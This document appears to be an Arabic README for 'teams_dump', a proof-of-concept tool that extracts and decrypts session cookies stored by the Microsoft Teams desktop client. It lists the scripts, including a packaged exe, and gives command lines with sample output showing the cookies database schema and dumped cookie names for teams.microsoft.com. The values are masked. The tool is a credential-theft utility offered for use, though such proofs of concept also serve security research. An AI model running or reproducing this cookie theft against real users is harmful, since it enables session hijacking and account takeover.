teams_dump

إثبات المفهوم لتفريغ وفك تشفير ملفات تعريف الارتباط في أحدث إصدار من Microsoft Teams

extract.py يقوم بالتفريغ بدون وسائط

extract.exe هو مجرد extract.py معبأة في ملف exe

teams_dump.py

سرد القيم في قاعدة البيانات

python.exe .\teams_dump.py teams --list

الجدول: meta
الأعمدة في meta: key, value
--------------------------------------------------
الجدول: cookies
الأعمدة في cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party

تفريغ قاعدة البيانات إلى ملف json

python.exe .\teams_dump.py teams --get
[+] المضيف: teams.microsoft.com
[+] اسم ملف تعريف الارتباط: MUIDB
[+] قيمة ملف تعريف الارتباط: xxxxxxxxxxxxxx
 **************************************************
[+] المضيف: teams.microsoft.com
[+] اسم ملف تعريف الارتباط: TSREGIONCOOKIE
[+] قيمة ملف تعريف الارتباط: xxxxxxxxxxxxxx
 **************************************************